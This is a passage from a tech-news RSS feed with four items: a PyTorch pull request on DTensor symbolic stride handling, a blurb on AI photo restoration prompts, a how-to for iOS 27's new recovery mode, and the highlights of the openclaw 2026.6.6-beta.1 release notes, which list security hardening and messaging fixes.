<p>The article <a href="https://the-decoder.com/ai-coding-agents-find-the-right-file-but-miss-the-exact-lines-that-matter-study-shows/">AI coding agents find the right file but miss the exact lines that matter, study shows</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[viable/strict/1781292498: [DTensor] Preserve symbolic local layouts without DDE guards (#187026)]]></title>
<description><![CDATA[Compiled DTensor paths can see symbolic local layout metadata that is
semantically valid but not syntactically identical to the metadata saved during
forward propagation.
For to_local() backward, AOTAutograd can produce a local gradient stride like
(Max(1, u3), 1) while the saved DTensor metadata...]]></description>
<link>https://tsecurity.de/de/3594417/downloads/viablestrict1781292498-dtensor-preserve-symbolic-local-layouts-without-dde-guards-187026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3594417/downloads/viablestrict1781292498-dtensor-preserve-symbolic-local-layouts-without-dde-guards-187026/</guid>
<pubDate>Fri, 12 Jun 2026 21:36:06 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Compiled DTensor paths can see symbolic local layout metadata that is<br>
semantically valid but not syntactically identical to the metadata saved during<br>
forward propagation.</p>
<p>For <code>to_local()</code> backward, AOTAutograd can produce a local gradient stride like<br>
<code>(Max(1, u3), 1)</code> while the saved DTensor metadata uses <code>(u1, 1)</code>. The previous<br>
backward path recomputed the global gradient stride before deciding whether it<br>
could reuse the original DTensor spec. That forced<br>
<code>compute_global_tensor_info()</code> to evaluate symbolic stride relations and could<br>
raise a data-dependent guard for the default same-placement backward path.</p>
<p>Reuse the original DTensor spec only for the default same-placement backward<br>
when the local gradient stride, saved forward local stride, and DTensor spec<br>
stride are compatible. Exact/provable stride equality is accepted directly. For<br>
contiguous symbolic stride forms such as <code>Max(1, u*)</code>, use the existing<br>
<code>check_contiguous_sizes_strides(..., false_if_dde=True)</code> helper so equivalent<br>
contiguous layouts are recognized without requiring a brittle exact symbolic<br>
match. If neither exact nor contiguous equivalence can be proven, emit<br>
<code>torch._check</code> assertions for the required stride equalities before taking the<br>
symbolic shortcut.</p>
<p>If the placement changes or the physical local stride cannot justify the<br>
original spec layout, keep the existing recomputation path and build a fresh<br>
spec from the observed gradient stride. This avoids the symbolic guard failure<br>
without lying about memory layout. In particular, uneven channels-last shards<br>
must keep using the recomputation path so autograd can repair the physical local<br>
gradient layout correctly.</p>
<p>The same class of issue also appears in <code>aten.t</code> sharding propagation. The<br>
single-dim strategy can enumerate candidate placements that move a symbolic<br>
<code>_StridedShard</code> split factor onto the other tensor dimension. When that<br>
candidate is not provably shardable, strategy expansion should reject it instead<br>
of evaluating a Python bool on an unbacked expression such as <code>8 &lt; 2*u0</code>.<br>
Register transpose with <code>allow_unbacked_sharding=False</code> so unproven candidates<br>
are pruned while statically valid candidates, including <code>_StridedShard(0, u0)</code><br>
propagating to <code>_StridedShard(1, u0)</code>, are still kept.</p>
<p>Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639021322" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/187025" data-hovercard-type="issue" data-hovercard-url="/pytorch/pytorch/issues/187025/hovercard" href="https://github.com/pytorch/pytorch/issues/187025">#187025</a></p>
<p>This PR was authored with assistance from an AI assistant.</p>
<p>Test Plan:</p>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="python -m pytest test/distributed/tensor/test_op_strategy.py::TestCostModel::test_t_prunes_unproven_unbacked_strided_shard_candidates test/distributed/tensor/test_op_strategy.py::TestCostModel::test_mm_strategies test/distributed/tensor/test_dtensor_compile.py::TestDTensorCompile::test_to_local_backward_unbacked_symbolic_stride test/distributed/tensor/test_tensor_ops.py::TestNewEmptyStridedUneven::test_backward_channels_last -q -s"><pre>python -m pytest test/distributed/tensor/test_op_strategy.py::TestCostModel::test_t_prunes_unproven_unbacked_strided_shard_candidates test/distributed/tensor/test_op_strategy.py::TestCostModel::test_mm_strategies test/distributed/tensor/test_dtensor_compile.py::TestDTensorCompile::test_to_local_backward_unbacked_symbolic_stride test/distributed/tensor/test_tensor_ops.py::TestNewEmptyStridedUneven::test_backward_channels_last -q -s</pre></div>
<div class="highlight highlight-source-shell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="lintrunner -a"><pre>lintrunner -a</pre></div>
<p>Pull Request resolved: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639032064" data-permission-text="Title is private" data-url="https://github.com/pytorch/pytorch/issues/187026" data-hovercard-type="pull_request" data-hovercard-url="/pytorch/pytorch/pull/187026/hovercard" href="https://github.com/pytorch/pytorch/pull/187026">#187026</a><br>
Approved by: <a href="https://github.com/pianpwk">https://github.com/pianpwk</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[6 Best AI Family Photo Restoration Trends (With Prompts) for ChatGPT, Gemini, and More]]></title>
<description><![CDATA[Explore six AI family photo restoration trends, from archive repair to colorization, with prompts for ChatGPT, Gemini, and Qwen.]]></description>
<link>https://tsecurity.de/de/3592042/it-nachrichten/6-best-ai-family-photo-restoration-trends-with-prompts-for-chatgpt-gemini-and-more/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3592042/it-nachrichten/6-best-ai-family-photo-restoration-trends-with-prompts-for-chatgpt-gemini-and-more/</guid>
<pubDate>Fri, 12 Jun 2026 01:17:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Explore six AI family photo restoration trends, from archive repair to colorization, with prompts for ChatGPT, Gemini, and Qwen.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Added a New Recovery Mode in iOS 27: Here’s How to Use It]]></title>
<description><![CDATA[Apple has added a new built-in recovery mode in iOS 27 that lets you troubleshoot, update, repair, or erase your iPhone without connecting it to a Mac or PC. The feature also comes to iPadOS 27 and gives users access to several recovery tools directly on the device.



Recovery mode is a separate...]]></description>
<link>https://tsecurity.de/de/3590422/ios-mac-os/apple-added-a-new-recovery-mode-in-ios-27-heres-how-to-use-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3590422/ios-mac-os/apple-added-a-new-recovery-mode-in-ios-27-heres-how-to-use-it/</guid>
<pubDate>Thu, 11 Jun 2026 13:55:20 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has added a new built-in recovery mode in iOS 27 that lets you troubleshoot, update, repair, or erase your iPhone without connecting it to a Mac or PC. The feature also comes to iPadOS 27 and gives users access to several recovery tools directly on the device.



Recovery mode is a separate environment that loads before the full operating system starts. If your iPhone runs into startup issues, gets stuck after an update, or enters a boot loop, you can use recovery mode to fix the problem.




https://twitter.com/aaronp613/status/2064735542965657980




The new interface includes options such as:




Recovery Assistant



Software Update



Diagnostics Mode



Erase All Content and Settings



Recovery Mode




The screen also shows your current battery percentage and automatically connects to known Wi-Fi networks, making recovery easier than before.



How to Enter Recovery Mode on iOS 27



Follow these steps:




Turn off your iPhone completely.



Wait a few seconds until the device shuts down.



Press and hold the Side button.



Keep holding the button after the Apple logo appears.



Continue holding until a progress bar appears below the Apple logo.



Wait for the recovery interface to load.




Once the process finishes, your iPhone will boot into the new recovery environment. This method is similar to entering recovery on Apple silicon Macs, where holding the power button loads startup options. 



What Can You Do in Recovery Mode?



Recovery Assistant



Recovery Assistant can detect startup problems and attempt automated repairs. If your iPhone cannot boot normally, the tool can help restore the device without requiring a computer.



Software Update



You can reinstall or update iOS directly from the recovery screen. This is especially useful if an update failed because the battery died or the installation was interrupted.



Diagnostics Mode



Diagnostics Mode helps identify hardware and software issues that may prevent the device from working correctly.



Erase All Content and Settings



If you need a clean start, recovery mode lets you erase the device directly from the recovery interface.



When Should You Use Recovery Mode?



Most users will never need recovery mode. However, it can be useful if:




An iOS update fails to install.



Your iPhone gets stuck in a boot loop.



The device refuses to start normally.



System files become corrupted.



Recovery Assistant recommends further troubleshooting.




Final Thoughts



The new recovery mode in iOS 27 gives iPhone users far more control when dealing with startup problems. Instead of relying on a Mac or Windows PC for many recovery tasks, you can now access software updates, diagnostics, repair tools, and device reset options directly from your iPhone, making the recovery process much faster and more convenient.]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.6.6-beta.1]]></title>
<description><![CDATA[2026.6.6
Highlights

Security boundaries are substantially tighter across transcripts, sandbox binds, host environment inheritance, MCP stdio, Codex HTTP access, native search policy, elevated sender checks, deleted-agent ACP bypasses, loopback tools, Discord moderation, and Teams group actions; ...]]></description>
<link>https://tsecurity.de/de/3588572/downloads/openclaw-202666-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3588572/downloads/openclaw-202666-beta1/</guid>
<pubDate>Wed, 10 Jun 2026 19:47:10 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.6.6</h2>
<h3>Highlights</h3>
<ul>
<li>Security boundaries are substantially tighter across transcripts, sandbox binds, host environment inheritance, MCP stdio, Codex HTTP access, native search policy, elevated sender checks, deleted-agent ACP bypasses, loopback tools, Discord moderation, and Teams group actions; exec approvals now fail closed on timeout. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617660755" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91529" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91529/hovercard" href="https://github.com/openclaw/openclaw/pull/91529">#91529</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619047229" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91618" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91618/hovercard" href="https://github.com/openclaw/openclaw/pull/91618">#91618</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619033638" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91615" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91615/hovercard" href="https://github.com/openclaw/openclaw/pull/91615">#91615</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4619048471" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91619" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91619/hovercard" href="https://github.com/openclaw/openclaw/pull/91619">#91619</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624396563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91741" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91741/hovercard" href="https://github.com/openclaw/openclaw/pull/91741">#91741</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624606681" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91745" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91745/hovercard" href="https://github.com/openclaw/openclaw/pull/91745">#91745</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624627622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91746" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91746/hovercard" href="https://github.com/openclaw/openclaw/pull/91746">#91746</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624682331" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91748" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91748/hovercard" href="https://github.com/openclaw/openclaw/pull/91748">#91748</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624683089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91749" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91749/hovercard" href="https://github.com/openclaw/openclaw/pull/91749">#91749</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624686576" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91750" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91750/hovercard" href="https://github.com/openclaw/openclaw/pull/91750">#91750</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624689858" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91751" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91751/hovercard" href="https://github.com/openclaw/openclaw/pull/91751">#91751</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624710623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91752" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91752/hovercard" href="https://github.com/openclaw/openclaw/pull/91752">#91752</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4625339565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91763" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91763/hovercard" href="https://github.com/openclaw/openclaw/pull/91763">#91763</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4582011731" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89938" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89938/hovercard" href="https://github.com/openclaw/openclaw/pull/89938">#89938</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/drobison00/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/drobison00">@drobison00</a>.</li>
<li>Telegram delivery is safer and more coherent: account-scoped topics route to the right agent, streamed text survives tool calls, <code>/compact</code> works on generic ingress, callback handling uses concrete APIs, draft chunking is shared, durable dispatch dedupe moved into the SDK, and unauthorized DM text stays out of cache and prompt context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4607547528" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91189" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91189/hovercard" href="https://github.com/openclaw/openclaw/pull/91189">#91189</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558106512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88682" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88682/hovercard" href="https://github.com/openclaw/openclaw/pull/88682">#88682</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4574261417" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89588" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89588/hovercard" href="https://github.com/openclaw/openclaw/pull/89588">#89588</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4586645610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90212" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90212/hovercard" href="https://github.com/openclaw/openclaw/pull/90212">#90212</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4628927782" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91876" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91876/hovercard" href="https://github.com/openclaw/openclaw/pull/91876">#91876</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4628912927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91874" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91874/hovercard" href="https://github.com/openclaw/openclaw/pull/91874">#91874</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629583793" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91904" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91904/hovercard" href="https://github.com/openclaw/openclaw/pull/91904">#91904</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615050729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91478" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91478/hovercard" href="https://github.com/openclaw/openclaw/pull/91478">#91478</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4630195095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91915" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91915/hovercard" href="https://github.com/openclaw/openclaw/pull/91915">#91915</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codysai001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codysai001">@codysai001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexzhu0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexzhu0">@alexzhu0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelnishanth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelnishanth">@joelnishanth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/snowzlm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/snowzlm">@snowzlm</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</li>
<li>iMessage recovery and delivery now cover always-on inbound restart, durable echo markers, block streaming, idle approval discovery, hardened outbound transport, and actionable inbound startup diagnostics. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4610295049" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91335" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91335/hovercard" href="https://github.com/openclaw/openclaw/pull/91335">#91335</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613994164" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91449" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91449/hovercard" href="https://github.com/openclaw/openclaw/pull/91449">#91449</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561000464" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88969" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88969/hovercard" href="https://github.com/openclaw/openclaw/pull/88969">#88969</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556698502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88530" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88530/hovercard" href="https://github.com/openclaw/openclaw/pull/88530">#88530</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4626488824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91783" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91783/hovercard" href="https://github.com/openclaw/openclaw/pull/91783">#91783</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4626525986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91785" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91785/hovercard" href="https://github.com/openclaw/openclaw/pull/91785">#91785</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmissig/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmissig">@jmissig</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colmbrogan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colmbrogan">@colmbrogan</a>.</li>
<li>Browser and MCP connectivity gained existing-session CDP support, discovered WebSocket validation, default-profile <code>cdpUrl</code> handling, safer browser-output boundaries, Streamable HTTP loopback transport, corrected OAuth/SSE authorization handling, and broader schema compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613069577" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91422" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91422/hovercard" href="https://github.com/openclaw/openclaw/pull/91422">#91422</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580311803" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89851" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89851/hovercard" href="https://github.com/openclaw/openclaw/pull/89851">#89851</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623754805" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91736" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91736/hovercard" href="https://github.com/openclaw/openclaw/pull/91736">#91736</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624671369" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91747" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91747/hovercard" href="https://github.com/openclaw/openclaw/pull/91747">#91747</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614042522" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91451" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91451/hovercard" href="https://github.com/openclaw/openclaw/pull/91451">#91451</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414941157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80143" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80143/hovercard" href="https://github.com/openclaw/openclaw/pull/80143">#80143</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anagnorisis2peripeteia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anagnorisis2peripeteia">@anagnorisis2peripeteia</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lifuyue/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lifuyue">@lifuyue</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LiuwqGit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LiuwqGit">@LiuwqGit</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>.</li>
<li>Control UI startup and first-reply latency are lower through cached model metadata, removal of the startup catalog wait, lazy slash-command loading, and first-event tracing with slow-reply diagnostics. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617731191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91531" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91531/hovercard" href="https://github.com/openclaw/openclaw/pull/91531">#91531</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617908971" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91538" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91538/hovercard" href="https://github.com/openclaw/openclaw/pull/91538">#91538</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618302216" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91568" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91568/hovercard" href="https://github.com/openclaw/openclaw/pull/91568">#91568</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618482026" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91583" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91583/hovercard" href="https://github.com/openclaw/openclaw/pull/91583">#91583</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618680388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91598" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91598/hovercard" href="https://github.com/openclaw/openclaw/pull/91598">#91598</a>)</li>
<li>Provider support expands with OpenRouter OAuth onboarding and Claude Fable 5 adaptive thinking, while Codex sessions keep correct compaction ownership, local models skip guardian review, dynamic tool progress normalizes cleanly, and Gemma 4 reasoning replay is preserved. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4627937743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91830" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91830/hovercard" href="https://github.com/openclaw/openclaw/pull/91830">#91830</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629090999" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91882" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91882/hovercard" href="https://github.com/openclaw/openclaw/pull/91882">#91882</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618632675" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91590" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91590/hovercard" href="https://github.com/openclaw/openclaw/pull/91590">#91590</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4557653607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88630" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88630/hovercard" href="https://github.com/openclaw/openclaw/pull/88630">#88630</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558819854" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88768" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88768/hovercard" href="https://github.com/openclaw/openclaw/pull/88768">#88768</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4621950560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91696" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91696/hovercard" href="https://github.com/openclaw/openclaw/pull/91696">#91696</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bdjben/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bdjben">@bdjben</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Coder-Wangyankun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Coder-Wangyankun">@Coder-Wangyankun</a>.</li>
</ul>
<h3>Changes</h3>
<ul>
